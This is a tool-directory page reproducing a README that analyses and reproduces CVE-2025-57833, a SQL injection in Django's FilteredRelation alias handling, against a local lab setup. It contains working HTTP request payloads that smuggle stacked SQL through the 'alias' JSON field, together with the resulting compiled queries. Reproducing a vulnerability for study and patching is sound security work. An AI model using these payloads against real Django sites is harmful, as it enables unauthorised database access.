Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-57833 — Analysis and reproduction of CVE-2025-57833 | Kitploit
Tools/GitHubGitHub/sw0rd1ight/cve-2025-57833
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & EducationDatabase Security
GitHubsw0rd1ight/cve-2025-57833

CVE-2025-57833

Analysis and reproduction of CVE-2025-57833

View Repository
619 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Django FilteredRelation Alias SQL Injection Vulnerability (CVE-2025-57833)

A SQL injection vulnerability in Django that emerged after about a year, at first glance it appears to be caused by an alias (since aliases cannot be precompiled).

This vulnerability affects the FilteredRelation feature in the Django framework. When using QuerySet.annotate() or QuerySet.alias() methods and providing column aliases via Python's dictionary expansion (**kwargs), there is a risk of SQL injection. This is due to insufficient validation of dictionary keys (i.e., column aliases), allowing an attacker to construct malicious dictionaries to inject unrestricted SQL statements.

The affected versions are:

  • Django 4.2 before 4.2.24
  • Django 5.1 before 5.1.12
  • Django 5.2 before 5.2.6

Environment Setup

This vulnerability project uses VS Code's Dev Container for setup.

1️⃣ Open the project Open the project root directory (containing the .devcontainer folder) with VS Code.

2️⃣ Reopen in Container (Build Dev Container)

Press Ctrl+Shift+P (Windows/Linux) or Cmd+Shift+P (Mac)

Enter Remote-Containers: Reopen in Container

VS Code will read the .devcontainer configuration and build the container (first build may take a few minutes).

⚠️ If the Dockerfile or dependencies have been updated, you can choose Remote-Containers: Rebuild Container to ensure the latest environment.

3️⃣ Run Django development server

Open command palette Ctrl+Shift+P

Download Tool

Enter Tasks: Run Task

Select django:start (the task is configured in .vscode/tasks.json)

This task will start the Django development server inside the container

Default listening on 0.0.0.0:8085

4️⃣ Open a browser to access the project

Open browser and visit:

http://localhost:8085

5️⃣ Notes

First run:

May need to run database migration:

root@kitploit:~
python manage.py migrate

After the server starts, visit http://localhost:8085

Vulnerability Reproduction

Access the /book/search endpoint normally

root@kitploit:~
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json

{"alias":"XXX","author":"Bob"}

At this point, the SQL compiled by Django ORM at the bottom layer is

root@kitploit:~
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author" XXX ON ("vuln_book"."author_id" = XXX."id" AND (XXX."name" = Bob)) WHERE XXX."id" > 0

It can be seen that an alias XXX for the vuln_author table is created. Based on the above patch analysis, it is known that XXX is not filtered, so injection is possible.

Directly using stacked injection will not execute the second SQL because the first SQL is invalid.

root@kitploit:~
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json

{"alias":"XXX;select user --","author":"Bob"}

Therefore, it is necessary to make the first statement valid first. Here, due to the association, we directly use the USING syntax.

root@kitploit:~
POST /book/search HTTP/1.1
Host: localhost:8085
Content-Type: application/json

{"alias":" using(id);select user --","author":"Bob"}

At this point, the injection succeeded, and the database execution user was found to be postgres. The SQL statement successfully compiled at the bottom layer is

root@kitploit:~
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" INNER JOIN "vuln_author"  using(id);select user -- ON ("vuln_book"."author_id" =  using(id);select user --."id" AND ( using(id);select user --."name" = Bob)) WHERE  using(id);select user --."id" > 0

References

  • https://xz.aliyun.com/news/19236
  • https://mp.weixin.qq.com/s/e2FgAk2odugNH9K8_kDsAg
  • https://nvd.nist.gov/vuln/detail/CVE-2025-57833
  • https://docs.djangoproject.com/en/dev/releases/security
  • https://groups.google.com/g/django-announce